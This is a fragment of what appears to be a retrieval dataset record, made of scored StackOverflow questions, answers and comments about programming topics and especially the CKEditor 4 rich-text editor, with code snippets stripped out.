ridiculously overrated as a question . I find that my tastes in what s important and worthwhile seem quite at odds with many people here . Comment : @Omnifarious : Sorting has always been a pet problem in CS : Anyway I much prefer this question to the why is i ++i + ++i undefined lot or stackoverflow.com questions 4174972 http : stackoverflow.com questions 4174972 how-does-stl-return-2-iterators-with-the-same-function . This one does make me think it s becoming rarer and rarer this day . .. . Answer : In general case there is no advantage to one implementation over the other . If you re implementing min for a specific usage it might make sense to choose one of the forms based on the data to which it will be applied to make the most of branch predictions . If for most usage cases the expected minimum is rhs choose the first implementation . If it s lhs choose the second implementation . Comment : Branch prediction can predict falses just as usefully as trues .", "Question : Is pointer is just used for implementing java reference variable or how it is really implemented Below are the lines from Java language specification .. . .. . 4.3.1 Objects An object is a class instance or an array . The reference values often just references are pointers to these objects and a special null reference which refers to no object . Does that mean it is pointer all the time Comment : Java is a language with a specification . You re asking about an implementation of said language . So please specify which implementation you re referring to . Sun s for example Comment : Yes I am looking for Sun s implementation Comment : Sun opensourced its implementation . You can have a look yourself : sun.com software opensource java http : www.sun.com software opensource java Comment : possible duplicate of How are references implemented in Oracle s JVM http : stackoverflow.com questions 18134642 how-are-references-implemented-in-oracles-jvm Comment : possible duplicate of If the JVM keeps moving objects around when it does GC how does it resolve references http : stackoverflow.com questions 9465767 if-the-jvm-keeps-moving-objects-around-when-it-does-gc-how-does-it-resolve-refe .. . Answer : The answer is going to depend on every JVM implementation but the best way to think of it is as a handle . It is a value that the JVM can look up in a table or some other such implementation the memory location of the reference . That way the JVM can move objects around in memory during garbage-collection without changing the memory pointers everywhere .", "Question : This question already has an answer here : .. . .. . Is the pImpl idiom really used in practice questions 8972588 is-the-pimpl-idiom-really-used-in-practice 9 answers .. . .. . I have occasionally come across what I can only describe as the interface-implementation idiom where a class is separated into an interface class and an implementation class . What is the philosophy or reasoning behind this What is an example usage of this methodology What does an example of such a class system look like and why would it be useful to separate a class into an interface and an implementation Comment : Defining an interface can have one or more out of many reasons . As it is now this question is too broad . .. . Answer : I think what you re talking about is also known as the pImpl pattern . There is lots of discussion about it at Why Should the pImpl idiom be used http : stackoverflow.com questions 60570 why-should-the-pimpl-idiom-be-used . That question is also marked as a duplicate of an older question answer with more information .", "Question : I need to dynamically load a xml-layout from the server . LayoutInflater has inflate methods that use a XmlPullParser . I ve tried that but it doesn t work . Looking into the Android source code it turns out those inflate methods are called with a XmlResourceParser . The implementation Android uses is XmlBlock.Parser but that is not a public API . Is there a XmlResourceParser public implementation I can use Comment : What you re trying to do is download some resource file from a server then read it as-if it was a resource of your application right Comment : What s the error you re obtaining when trying to use LayoutInflater s method Comment : Correct I m trying to download some resource file from the server and use it in the app . .. . Answer : in fact you CAN NOT load xml-layout dynamically . android system DOES NOT need a XmlResourceParser . when android-ui system inflate an resource it just convert the parser to it s private implementation a binary xml source parser i forgot the class name . 1 year ago i tried this spent many many times . so don t waste your time as me again . Comment : If you take a look at the Android source code you will notice that the LayoutInflater.inflate method gets called with a XmlResourceParser as a parameter . In theory a implementation of the XmlResourceParser will solve my problem but I couldn t find anywhere the specifications for the Android binary xml format . So I do not agree with you that it cannot be done it s just very complicated at this point in time so I agree with your second point that it s a waste of time to try to do it now . Comment : i know but it just look at View s constructor it process AttributeSet by Context.obtainStyledAttributes and then Resources.obtainStyledAttributes . in this method : XmlBlock.Parser parser XmlBlock.Parser set . if you implement XmlPullParser how can you provide this object to view or you could ignore AttributeSet and implement them all by yourself . but notice that View s constructor use many @hide api you can t access .", "Question : Take this example : .. . .. . Why is the implicit implementation of IFoo Bar necessary even though Foo converts to IFoo without a cast Comment : Why are you doing this at all You are effectively tying users of Foo to the concrete implementation making mocking for unit tests difficult and generally increasing coupling in your application.. . Comment : The two approaches are pretty much mutally exclusive . Both work but have different purposes . You wouldn t use both approaches for the same interface in the same concrete class at least not that I can think of Comment : @SteveCzetty Hence the OP s question where explicitly implementing the interface is necessary . Comment : @AaronMcIver My point is that any class that references the concrete version of Foo instead of IFoo is going to be coupled to that particular implementation . Comment : possible duplicate of implicit vs explicit interface implementation http : stackoverflow.com questions 598714 implicit-vs-explicit-interface-implementation .. . Answer : You can solve it like this a bit ugly but takes care of the strong-typing : Comment : Comment : This doesn t compile since there is no non-generic IFoo interface . Comment : You re right I edited the code .", "Question : Take this example : .. . .. . Why is the implicit implementation of IFoo Bar necessary even though Foo converts to IFoo without a cast Comment : Why are you doing this at all You are effectively tying users of Foo to the concrete implementation making mocking for unit tests difficult and generally increasing coupling in your application.. . Comment : The two approaches are pretty much mutally exclusive . Both work but have different purposes . You wouldn t use both approaches for the same interface in the same concrete class at least not that I can think of Comment : @SteveCzetty Hence the OP s question where explicitly implementing the interface is necessary . Comment : @AaronMcIver My point is that any class that references the concrete version of Foo instead of IFoo is going to be coupled to that particular implementation . Comment : possible duplicate of implicit vs explicit interface implementation http : stackoverflow.com questions 598714 implicit-vs-explicit-interface-implementation .. . Answer : Because you may not always want the method implementing the interface to behave the same way as another version of the method with the same signature . You may also want a class to implement a method for an interface but for that method not be be accessible from an instance of the class itself .", "Question : I m relatively new to the more advanced C++ features.. . So keep that in mind .. . .. . I have recently defined an Interface to some class consisting of course of only pure-virtual functions . Then I implemented a specific version of that interface in separate files . The question is.. . How do I invoke the specific implementation of that Interface on the user-end side without revealing the internals of that specific implementation So if I have an Interface.h header file that looks like this : .. . .. . Then a specific Implementation.h header file that looks like this : .. . .. . Finally under main I have : .. . .. . How can I do something like this without revealing the details of Implementation.h from main Isn t there a way to tell main .. . Hey Implementation is just a type of Interface and keep everything else in a separate library I know this must be a duplicate question.. . But I couldn t find a clear answer to this . Thanks for the help Comment : Factory function https : en.wikipedia.org wiki Factory object-oriented programming something like Interface MakeInterface return new Implementation . Only the function declaration needs to be published in a header and that by itself doesn t mention Implementation Comment : @Igor Tandetnik Thanks Igor . If you put that as an answer I ll mark it down as answered for the credits . Comment : Do not delete things . Go for smart-pointers . Comment : @SergeyA Well.. . This will be part of my next learning phase.. . .. . Answer : You can hide some of the inner details privates of your Implementation class from easy view in the header file by using something like PIMPL to conceal the implementation details in the .cpp file . See Is the pImpl idiom really used in practice http : stackoverflow.com questions 8972588 is-the-pimpl-idiom-really-used-in-practice for more discussion of the pimpl idiom . Comment : This doesn t seem to answer the question . The OP is not asking how to hide the implementation details of the derived-class . Instead they are asking how to avoid explicitly instantiating the derived type from the main function i.e . the main function is only aware of the interface type and not the derived type . Comment : Thanks @Shadowfen anyway . I ve used Igor s approach . And I d like to give him credit for the answer.. . if only he would post it as a full answer.. .", "Question : I m not clear about where to put the if switch when choosing what implementation subclass to instantiate specially when considering that now interfaces can have static-methods . Let s say I have a service a type defined by an interface and a couple of implementations . I guess that it d be better not to put that logic in the service but to have factory-method . But should it go in the interface or in another class with a param-to-type map as suggested in this answer http : stackoverflow.com a 5089830 It seems natural to me to put it in the interface : .. . .. . and then just simply call it from the service : .. . .. . But I don t know if it s bad having the interface knowing about its implementation or a parent class knowing about its subtypes . So .. . .. . 1 . Where should I put that logic 2 . Would that change a lot if I m choosing subclasses of a type Comment : Are you perhaps looking for the stackoverflow.com questions 708336 https : stackoverflow.com questions 708336 beginner-factory-pattern-in-java Comment : Something along those lines but also if it s a good idea avoiding the factory class and putting that in the interface itself . .. . Answer : There are quite a few solutions to your problem I think you are aware of many of them already . The static factory-method pattern .. . .. . This works however it make separation of interface and implementation difficult . The interface must know of all possible implementations and it is not particularly extensible . To add a new implementation you need to change the interface . Factory pattern .. . .. . This is more or less old-school by the book GOF : .. . .. . This allows you to replace the factory and even stack factories . It has --however-- the drawback that you need to pass around the factory object . Note that with Java 8 you also have the ability to use very lightweight lambda-based factories see https : docs.oracle.com javase 8 docs api java util function Supplier.html .. . .. . Containers .. . .. . Another solution although it can be quite heavyweight is to leave construction of the object to a container framework . In those cases the container provides your object factory . The actual type of object is left to configuration . Spring and Java EE do quite a job of this . Also combine with dependency-injection for added effect . These are at least those I can think of .", "Question : null .. . Answer : This may be a very classical problem of finding longest non-decreasing subsequence in O nlogn . Just to revise length of longest non-decreasing subsequence in array A 2 4 2 3 3 5 1 is 5 2 2 3 3 5 . However After countless efforts I fail to understand where my implementation of the algorithm is failing . I ve read and implementing the algorithm described Here http : stackoverflow.com questions 2631726 how-to-determine-the-longest-increasing-subsequence-using-dynamic-programming and Here http : www.geeksforgeeks.org longest-monotonically-increasing-subsequence-size-n-log-n with only a little change of sign to allow equal elements in O nlogn implementation of longest increasing subsequence . I m attempting this http : www.spoj.com problems BRIDGE problem where trivial O n 2 approach which is correct as the solution got accepted and O nlogn approach are giving different solutions which I inferred by assert statements which proves that something is wrong for sure with my O nlogn implementation . My O nlogn implementation is as follows : Comment : What input output are you getting for this algorithm Comment : Actually I m getting correct output for all the manually generated input cases I could generate . That s why I couldn t find where the above implementation is failing . Comment : Can you edit your question to include which test cases you have already tried It might help identify a missed test case", "Question : I need a commercial-friendly Apache Licence LGPL Mozilla Public License etc R-tree http : en.wikipedia.org wiki R-tree implementation in Java in order to substitute the geonames http : www.geonames.org Web Service for timezones as suggested in the question Determine timezone from latitude-longitude without using web-services like Geonames.org http : stackoverflow.com questions 5584602 determine-timezone-from-latitude-longitude-without-using-web-services-like-geonam . I have found http : sourceforge.net projects jsi some http : www.mischiefblog.com p 171 around http : www.rtreeportal.org code.html but I was wondering if someone has evaluated or used them in practice . Cheers Comment : Can you elaborate on what is acceptably commercial-friendly Comment : Java Topology Suite JTS from Vivid Solutions with LGPL license contains an R-Tree implementation . I have successfully used JTS in my applications but not the JTS R-Tree implementation . See vividsolutions.com jts javadoc com vividsolutions jts index http : www.vividsolutions.com jts javadoc com vividsolutions jts index strtree STRtree.html Comment : Not directly an R-tree implementation but recent versions of Apache Lucene have support for efficient geospatial searches . See for example ibm.com developerworks opensource library j-spatial http : www.ibm.com developerworks opensource library j-spatial for more details . Comment : Please add these comments as answers so they can be voted on and marked as answer . .. . Answer : https : github.com rweeks util blob master src com newbrightidea util RTree.java - LGPL implementation of R-Tree by Russ Weeks . It looks very simple and clear and not dependent on external libraries . http : www.mischiefblog.com p 171 http : www.mischiefbox.com blog uploads rtree.jar LGPL implementation of R-Tree by Chris Jones . Another simple and clear solution . http : www.khelekore.org prtree CPL 1.0 implementation of Priority R-Tree by Robert Olofsson .. . .. . http : jsi.sourceforge.net LGPL - project aims to maintain a high performance Java version of the RTree spatial indexing algorithm ." ] }
[ "yes-answer-long", "yes-answer-short" ]
http
UNK_RELATION
ckeditor4.x@javascript@33
ckeditor4.x -- version 4 of the @placeholder based wysiwyg editor ckeditor .
{ "confidence": [ 33.69047546386719, 33.109474182128906, 32.93085479736328, 32.93085479736328, 32.79857635498047, 32.53437423706055, 31.704429626464844, 31.648284912109375, 31.648284912109375, 31.091459274291992, 30.657007217407227, 30.619001388549805, 30.437747955322266, 30.437747955322266, 30.437747955322266, 30.347545623779297, 30.24980926513672, 29.952274322509766, 29.76994514465332, 29.76994514465332, 29.415477752685547, 29.415477752685547, 29.415477752685547, 29.219812393188477, 29.06377410888672, 29.042892456054688, 29.042892456054688, 28.719573974609375, 28.719573974609375, 28.719573974609375, 28.719573974609375, 28.719573974609375, 28.591148376464844, 28.5789794921875, 28.305213928222656, 28.305213928222656, 28.264053344726562, 27.936681747436523, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.784969329833984, 27.767242431640625, 27.727256774902344, 27.727256774902344, 27.46181869506836, 27.454530715942383, 27.196163177490234, 27.03135108947754, 27.03135108947754, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.518993377685547, 26.247943878173828, 26.096744537353516, 26.096744537353516, 26.032102584838867, 25.99142837524414, 25.84933853149414, 25.84933853149414, 25.703876495361328, 25.703876495361328, 25.703876495361328, 25.67551040649414, 25.507938385009766, 25.04550552368164, 24.99861717224121, 24.9581298828125, 24.879413604736328, 24.830768585205078, 24.830768585205078, 24.813730239868164, 24.813730239868164, 24.813730239868164, 24.813730239868164, 24.813730239868164, 24.813730239868164, 24.813730239868164 ], "content": [ "I have an old ASP.NET application that uses freetextbox WYSIWYG editor .", "I have a Ckeditor version 4.4.7 and I want when adding a image to the editor it becomes responsive so when the editor are resized down the image also gets resized so it follows the size om the editor .", "My CKEditor version is 4.5.6 Any idea", "I am using ckeditor version 4.5.3", "Now I m using ckeditor WYSIWYG in as ASP.net MVC application which uses same data that is saved in databse but i m not getting a perfect way to render that html into editor .", "We use ckeditor 4.5.x only in inline mode automatic ckeditor instances .", "Based on that I am able to solve the issue using ng-ckeditor library .", "The progress CKEditor 4 provide is taken from the XHR2 progress event .", "I m currently developing a Ckeditor 4 widget but I run into the following issue .", "The code was fine when switching between source WYSIWYG modes in CKEditor or between HTML Visual in WordPress but was wrong after save during edit .", "I m using CKEditor 4 in a Rails 4 project via the github.com galetahub ckeditor gem .", "Someone has updated the list in link ckeditor.com forums CKEditor-3.x Event-List http : ckeditor.com forums CKEditor-3.x Event-List in another thread .", "ckeditor leaves them untouched and you cannot see them in the editor - not even in the source code view .", "Now my question : Is it possible to configure CKEditor in a way that the editor adds the class default to every element by default", "I d like to define a per editor dialogDefinition event handler without relying on the global CKEDITOR variable .", "For CKEditor4 Go to this link http : docs.ckeditor.com api CKEDITOR.editor and hover on the Events icon you ll get all the events .", "Is it possible with ckeditor to search replace over multiple ckeditor instances on one page or do we have to build this outside ckeditor", "I think the fileUploadResponse -Event has to be registered on the ckeditor-instance and not on CKEDITOR itself .", "I have an integration between CKEditor 4 and Extjs 6 I need to override the configs of the editor instance specifically the stylesSet parameter when the user clicks over a button .", "I have been using ckeditor 4 in my CMS and using the template feature to allow the user to add a collection of template styles they ve agreed open in to the editor so they are able to create uniquely styled pages .", "This is not the case CKEditor overrides this logic", "First the CKEditor setup .", "In my opinion this is not related to ckeditor .", "I am using ng-ckeditor https : github.com esvit ng-ckeditor library for CKEditor textaria alog with ng-model data .", "I have ckeditor Table plugin and Quicktable plugin too .", "Does ckeditor have internal code built-in that handles Ctrl-C Ctrl-X and Ctrl-V", "Have you checked this thread http : ckeditor.com forums CKEditor-3.x Available-events-list", "Spell Check is not working in my CKEditor .", "insertHTML is shown as an event in the ckeditor docs .", "I m using CKEditor within an AngularJS .", "I am using CKEditor with ACF .", "i want to have it .. . .. . Is it possible with ckeditor", "@JimmyKo For CKEditor4 Go to this link docs.ckeditor.com api CKEDITOR.editor http : docs.ckeditor.com api CKEDITOR.editor and hover on the Events icon you ll get all the events .", "Im using CKeditor version 4.5.8 in inline mode so directly in the content with the contenteditable html attribute .", "To check if it s a CKEditor issue or WordPress I checked what was written into database and what the CKEditor was getting from it .", "ng-ckeditor https : github.com esvit ng-ckeditor has broadcast called ckeditor.ready .", "I have CKeditor with Yii2 application using 2amigos CKeditor widget .", "Telling CKEditor where your image upload script lives .. . 4 .", "The further processing of the data throws errors not related to ckeditor .", "My config.js of ckeditor is : .. . .. . While rendering it shows like :", "In html it is just a textarea and in js called MyId .ckeditor", "I have this code to use CKEditor inline edit .", "I m using ckeditor v4.5.9 .. . .. . Thanks for your help", "I am using CKEditor as Email Template .", "Currently I m trying to use CKEditor in a web project .", "I am trying to integrate CKEditor in Angular App .", "This library has the directive in which they are initiating the CKEditor instance .", "CKEditor gives name to instance using id of textarea .", "Doesn t CKEditor provide translations for the pre defined styles", "I have created two CKEditor plugins .", ".. . .. . Project Environment and how you can reproduce this error .. . .. . CKEditor v4.5.10 .. . Simplebox Plugin from the Tutorial or Github https : github.com ckeditor ckeditor-docs-samples tree master tutorial-simplebox-2 simplebox .. . Load content into the editor .", "I m new with CKEditor .", "usertext is an instance of CKEditor .", "I have an asp.net MVC 4 application that uses the CKeditor control 4.4.5 to capture HTML which is then rendered to a Word docx document .", "http : ckeditor.com forums CKEditor-3.x multiple-iframedialog-plugins-display-same-dialog .. . .. . That seems like an OK workaround but it is a workaround and not a solution .", "What does work in Word is : .. . .. . But I am finding that my CKEditor setup strips this out each time you save data in the CKEditor box .", "Is this a CKEditor issue or could it be JavaScript related", "That question answers opening ckeditor in fullscreen .", "Here s the point they don t look and behave the same as a ckeditor added element .", "I can t seem to add my own CSS file to the CKEditor .", "We are implementing CKEditor and added the token-plugin http : ckeditor.com addon token .", "What versions CKEditor for WordPress and WordPress itself are you using", "Then the helper that manually updates the CKEditor data and moves cursor where needed .", "Yet content can still be copied between other programs such as Notepad and ckeditor .", "I am trying to create two textareas but single CKEditor instance .", "I want to use same CKEditor tool on two different textareas .", "The functionality saving the data and sending the email is outside ckeditor anyway .", "In CKEditor I am trying to use uploadimage http : docs.ckeditor.com guide dev file-upload .", "In console it is printing CKEditor instance created but not printing Image Uploaded .", "You can get instance after CKEditor completely initialized .", "In my case I am getting the CKEditor instance with noticeDetails name .", "it was partly due to the magic line and also the way ckeditor uses p tags .", "Here is the complete list of ckeditor browser support http : docs.ckeditor.com guide dev browsers .", "This same question was asked a couple of years ago with no response on the CKEditor forum .", "But if what you want are specific events for the ckeditor than that would not be the case .", "Considering the almost total lack of community support with CKEditor customization I ve realized it is better to just adjust your design concept to do what is more easily accomplished with CKEditor rather than get CKeditor to do exactly what you want .", "I am using the ckEditor along with GWT and SmartGWT .", "So it is similar to saving and loading the data for CKEditor .", "I want to provide an on click functionality in the editor content that will open a dialog box a text input box select dropdown checkbox and based on this update the content in the editor .", "if not I add this .. . .. . .. . mount Ckeditor : : Engine ckeditor .. . .. . 5 . in config initializers assets.rb I add .. . .. . Rails.application.config.assets.precompile + w ckeditor .. . .. . 6 . in app assets javascript application.js I add .. . .. . require ckeditor init .. . .. . 7 . in config initializers active admin.rb I add .. . .. . config.register javascript ckeditor ckeditor .. . .. . 8 .", "I ve just checked your code with WordPress 4.5.2 and CKEditor for WordPress 4.5.3.3 and there is no additional p nbsp p after switching to from Visual HTML neither showing Source inside CKEditor .", "Here is an example of using a CKEditor Iframe dialog https : gist.github.com garryyao 1170303 .. . .. . .. . .. . Back to my issue - if I use just one of the plugins in my CKEditor it works perfectly .", "How to avoid CKEditor to remove it", "CKEditor has nothing to do with it .", "Using CKeditor 4.4.3", "I tried adding these plugins but it doesnt become responsive cause if I add a image om 3000 x 500 it becomes that wide and make a scrollbar in the bottom of the ckeditor .", "for opening the dialog box you can try this : stackoverflow.com questions 2062110 http : stackoverflow.com questions 2062110 ckeditor-calling-the-fullscreen-action-outside-of-the-ckeditor", "Solved this with a helper that checks the state of the editor .", "I m using CKEditor using Drupal 7 with the WYSIWYG module and I have code to create a custom dialog box to allow the user to enter some custom data that will be inserted into the textarea .", "When you view a page with CKEditor 4.4.7 installed from a phone the editor shows up as a normal textarea and none of the HTML or text within it is properly formatted .", "I know I need to stop the editor from deleting the spans I ve done that with extraAllowedContent .", "I have a problem that whenever the ckEditor displays a dialog e.g .", "This can be achieved in many ways depending on how ckEditor is integrated with SmartGWT .", "My second attempt was to remove the characters when submitting the form via javascript outside ckeditor .", "Could anyone give me a hint if I may facilitate an existing ckeditor functionality or plugin to remove certain characters on paste", "Try using this in the View : .. . .. . .. . .. . Just verify the input in the CKEditor checks for XSS och illegal tags .", "CKEditor before uploading images loads them locally as BASE 64 data to show user the preview .", "When I use the CKeditor Page break button it produces .. . .. . which is retained however it is not rendered in Word .", "Can I change CKEditor to put : .. . .. . under the page-break button or should I be considering another option to resolve this .", "I download ckeditor with spoiler plugin now I want change spoiler background-color how I can do it" ] }
{ "confidence": [ 48.67683410644531, 46.214046478271484, 45.34412384033203, 43.08958435058594, 37.12456130981445, 36.82773208618164, 36.73681640625, 36.575233459472656, 36.10713195800781, 36.08918380737305, 35.43707275390625, 35.05994415283203, 34.744537353515625, 34.72627639770508, 34.602394104003906, 34.47758483886719, 34.41310119628906, 34.23977279663086, 34.18309783935547, 34.09392166137695 ], "content": [ "Question : As title . I tried to find the available event list in official doc but can t . Though I can find all available event from its source code by search .fire s+ . But it is not efficient because I still need to read the context to know where the event triggered . Anyone know where I can find the event list or How I can know the event name fired by specific object e.g . widget dialog definition etc. . Thanks . Comment : Have you checked this thread http : ckeditor.com forums CKEditor-3.x Available-events-list Comment : Someone has updated the list in link ckeditor.com forums CKEditor-3.x Event-List http : ckeditor.com forums CKEditor-3.x Event-List in another thread . Unfortunately the diffpaste.com is down . Comment : @JimmyKo I found another thread that seems promissing . Try this http : stackoverflow.com questions 5721916 how-to-listen-to-basic-events-in-ckeditor one and tell us if it suit your needs Comment : @JimmyKo For CKEditor4 Go to this link docs.ckeditor.com api CKEDITOR.editor http : docs.ckeditor.com api CKEDITOR.editor and hover on the Events icon you ll get all the events . Comment : @JimmyKo I d say it depends . If what you want is Dom events like blur click and key up for instance than that s correct . But if what you want are specific events for the ckeditor than that would not be the case . .. . Answer : For CKEditor4 Go to this link http : docs.ckeditor.com api CKEDITOR.editor and hover on the Events icon you ll get all the events . enter image description here http : i.stack.imgur.com vZD70.png .. . .. . Hope this helps", "Question : I have an old ASP.NET application that uses freetextbox WYSIWYG editor . But it saves a weird html not particular format of html into database . Now I m using ckeditor WYSIWYG in as ASP.net MVC application which uses same data that is saved in databse but i m not getting a perfect way to render that html into editor . My config.js of ckeditor is : .. . .. . While rendering it shows like : enter image description here http : i.stack.imgur.com gFlET.png Comment : need to decode htmlentities . . easy to search Comment : In html it is just a textarea and in js called MyId .ckeditor Comment : fine...that html-editor expects html so you need to decode the htmlentities . Otherwise they appear as text which is exactly what you are seeing Comment : I tried to convert it into html-entities like lt to but this also didn t worked . Comment : Have you tried something like this in the View : @Html.Raw HttpUtility.HtmlDecode Model.MyContent .. . Answer : Try using this in the View : .. . .. . .. . .. . Just verify the input in the CKEditor checks for XSS och illegal tags . One way to do this is using a external anti-XSS library and before-save to the database you should run it trough the sanitizer . The important thing is to do it on the Server-side . Below is just a suggestion on a anti-XSS library don t know if there is something better since i used this a long time ago .. . .. . https : msdn.microsoft.com en-us security aa973814.aspx", "Question : I have an old ASP.NET application that uses freetextbox WYSIWYG editor . But it saves a weird html not particular format of html into database . Now I m using ckeditor WYSIWYG in as ASP.net MVC application which uses same data that is saved in databse but i m not getting a perfect way to render that html into editor . My config.js of ckeditor is : .. . .. . While rendering it shows like : enter image description here http : i.stack.imgur.com gFlET.png Comment : need to decode htmlentities . . easy to search Comment : In html it is just a textarea and in js called MyId .ckeditor Comment : fine...that html-editor expects html so you need to decode the htmlentities . Otherwise they appear as text which is exactly what you are seeing Comment : I tried to convert it into html-entities like lt to but this also didn t worked . Comment : Have you tried something like this in the View : @Html.Raw HttpUtility.HtmlDecode Model.MyContent .. . Answer : These are htmlentities . You need to convert these symbols to real characters . One popular way to do this in JS is : .. . .. . Or the following cleaner way :", "Question : null .. . Answer : I have a Ckeditor version 4.4.7 and I want when adding a image to the editor it becomes responsive so when the editor are resized down the image also gets resized so it follows the size om the editor . Comment : I tried adding these plugins but it doesnt become responsive cause if I add a image om 3000 x 500 it becomes that wide and make a scrollbar in the bottom of the ckeditor . imageresponsive image2 plugins added", "Question : null .. . Answer : I have an integration between CKEditor 4 and Extjs 6 I need to override the configs of the editor instance specifically the stylesSet parameter when the user clicks over a button . I have tried : .. . .. . It does not work unless I use it at initialization time I even have use this : .. . .. . Nothing work I have read in every post related to this that I could find in all of CKEditor documentation I really really need some help and any idea will be more than welcome . Thanks in advance", "Question : null .. . Answer : I am trying to build a editor that will have some pre populated content and parts of the content need to be populated at runtime . I want to provide an on click functionality in the editor content that will open a dialog box a text input box select dropdown checkbox and based on this update the content in the editor . I have tried adding a new dialog box something similar to : http : nightly.ckeditor.com 16-07-01-06-06 standard samples old dialog assets my dialog.js but i am unable to open the dialog from the editor . I tried doing the following in my js : .. . .. . but am getting an error : TypeError : f is undefined . Comment : for opening the dialog box you can try this : stackoverflow.com questions 2062110 http : stackoverflow.com questions 2062110 ckeditor-calling-the-fullscreen-action-outside-of-the-ckeditor Comment : Not what i am looking for . That question answers opening ckeditor in fullscreen . I am looking for opening a dialog box with my html on clicking an element present in the editable content of the editor .", "Question : I have an asp.net MVC 4 application that uses the CKeditor control 4.4.5 to capture HTML which is then rendered to a Word docx document . When I use the CKeditor Page break button it produces .. . .. . which is retained however it is not rendered in Word . What does work in Word is : .. . .. . But I am finding that my CKEditor setup strips this out each time you save data in the CKEditor box . Can I change CKEditor to put : .. . .. . under the page-break button or should I be considering another option to resolve this . Thanks in advance .. . Answer : I ve created this tiny plugin for version 4x .", "Question : I can t seem to add my own CSS file to the CKEditor . I m downloading a custom version 4.5.8 and include the StyleSheet Parser plugin http : ckeditor.com addon stylesheetparser . The Styles list has the default styles but not the ones from my css file . This the code : .. . .. . The editor is loaded successfully but the Styles list does not contain my styles . The location of my css files seems right when I try other paths I get an error . This is my test.css : .. . .. . Already tried clearing my browsers cache . I tried it in multiple browsers . I tried one other thing : download the StyleSheet Parser separately put it in the plugins folder and use the following code : .. . .. . The Styles list is still not showing my style but when I edit the source code and put my style in like this the style is applied to the text in the editor : .. . .. . Sources : .. . .. . - CKEditor docs for the StyleSheet Parser http : docs.ckeditor.com guide dev styles-section-the-stylesheet-parser-plugin .. . .. . - The contentsCss option docs http : docs.ckeditor.com api CKEDITOR.config-cfg-contentsCss .. . Answer : The Styles in CKEditor require an element so the StyleSheetParser only recognizes rules that include an element and a class name . You should change your CSS to Comment : Thank you I m curious if and where this is documented Comment : I guess that it s documented across different pages answers to this same question .. .", "Question : null .. . Answer : Caused by bad PDF sources we frequently get ascii 1 to 1f characters into our text fields which are non-printing control-characters . ckeditor leaves them untouched and you cannot see them in the editor - not even in the source code view . You can visualize them with notepad++ which is our workaround to remove these characters after the data was saved . Background : For special-characters the publishers of the PDF files used a custom font where for example the sign is at position ascii 2 STX . The further processing of the data throws errors not related to ckeditor . I would like to get rid of these characters . My preferred method would be to remove the characters within ckeditor while pasting the data so the author may correct the data right away . My first expectation was that I could define a rule within config.pasteFilter or config.allowedContent . But I learned that this works only for html tags . My second attempt was to remove the characters when submitting the form via javascript outside ckeditor . This works but the user does not see the result instantly on pasting but only if he saves and reloads the data . Could anyone give me a hint if I may facilitate an existing ckeditor functionality or plugin to remove certain characters on paste We use ckeditor 4.5.x only in inline mode automatic ckeditor instances . Thank you in advance Comment : We implemented the filter server-side php while processing the data array from the submitted form before saving the data with a preg-replace : fixedField preg-replace x0- x1f POST field a Field This works fine but I still would prefer the filter within ckeditor.. .", "Question : null .. . Answer : Currently I m trying to use CKEditor in a web project . In this project I use a CSS template from the internet . With this template I need to add the class default to every element to style it as a list and because of some complications it is very hard to change it . Now my question : Is it possible to configure CKEditor in a way that the editor adds the class default to every element by default And if there is no easy way is it possible to change the code of the Editor", "Question : null .. . Answer : I d like to define a per editor dialogDefinition event handler without relying on the global CKEDITOR variable . Is there a reason the following receiver works : .. . .. . But this editor specific one doesn t", "Question : I have this code to use CKEditor inline edit . The problem is that the wiki text is duplicated after the database is updated and flushed to client : .. . .. . After editing and closing the editor area a server command is executed . Whatever I type there when it s refreshed in the database the text is p new text p and in the CKEditor element the old text is not removed . The new text is appended after it . Putting code in a helper kind of helps but the innerHTML there is already the old + the flushed text . But it works only if it s the current user who changed the text otherwise the texts are different and I can t tell apart where the second copy starts . .. . Answer : Solved this with a helper that checks the state of the editor . Page markup : .. . .. . Live Saving When Typing .. . .. . With some smarter code I set it up to save and update the content of an opened editor . The final solution with live saving came from this question http : stackoverflow.com questions 27524002 retain-cursor-position-after-reloading-the-page-in-ckeditor . For Meteor the setup is below . First the CKEditor setup . Before saving the document we create a bookmark and manipulate DOM to make that element be saved with a config change . Then the helper that manually updates the CKEditor data and moves cursor where needed . One drawback is that it won t work with 2 people editing this simultaneously . They ll steal cursor one from another all the time . For that a relative position stored in memory should work better . But this one is enough as a temporary workaround and a starting point . Hope this helps the others .", "Question : I am trying to create two textareas but single CKEditor instance . I want to use same CKEditor tool on two different textareas . Anybody has any idea Comment : I can t even imagine what you re trying to do . You can create as many editors as you want . Why should different areas share the same editor and how .. . Answer : Please explain what you want to achieve . What would be the benefit of that If you have one instance of ckeditor for the content of two textareas you would not be able to divide the content of the textareas again afterwards . On the other hand I see no disadvantage of having two instances for two textareas . They share the same configuration so you have the same functionality for both textareas . Comment : I am using CKEditor as Email Template . Currently I have two sections on the template . On the first section user can input anything and has functionality to save . And on the second one user can only edit for email but don t want to save . And also I want to combine both sections for email . Comment : So you want to save one field and email both . In my opinion this is not related to ckeditor . The functionality saving the data and sending the email is outside ckeditor anyway . May I assume that you submit a form and process the data server-side", "Question : Is there a way to disable the sorting of element attributes so that checkDirty will work correctly when allowedContent is set to true Example of the sorting of attributes here https : jsfiddle.net 4t72c4n1 3 .. . .. . gets changed to .. . .. . causing the checkDirty call to always return true even though the user didn t actually change anything within the ckeditor user-interface . .. . Answer : Your code does strange things like calling editor.resetDirty on editor contentDom what for . Additionally CKEditor does not sort attributes because the only thing that getSnapshot does is taking the editable s innerHTML . So if anything sorts attributes it s browsers and if they do this I remember that some do this randomly then there s nothing you can do . You need to start from scratch . Define first what you want to achieve and do this with least code possible . I would also advise you to not use editor.checkDirty because it s a legacy method that won t work in specific cases yes this is missing in the docs . Use editor change to get live notifications about changes or simply compare editor.getData from time to time . Comment : I added editor.resetDirty to ensure the .previousvalue was set AFTER the html is automatically processed I didn t see anything in the document for when that value is set so that I can use the checkDirty method . If developers shouldn t use checkDirty then I think the document should be updated . I thought I could use it to check if the content was changed by the user . I have an updated isdirty function based on your suggestions . jsfiddle.net 4t72c4n1 5 https : jsfiddle.net 4t72c4n1 5 Comment : Also what is the 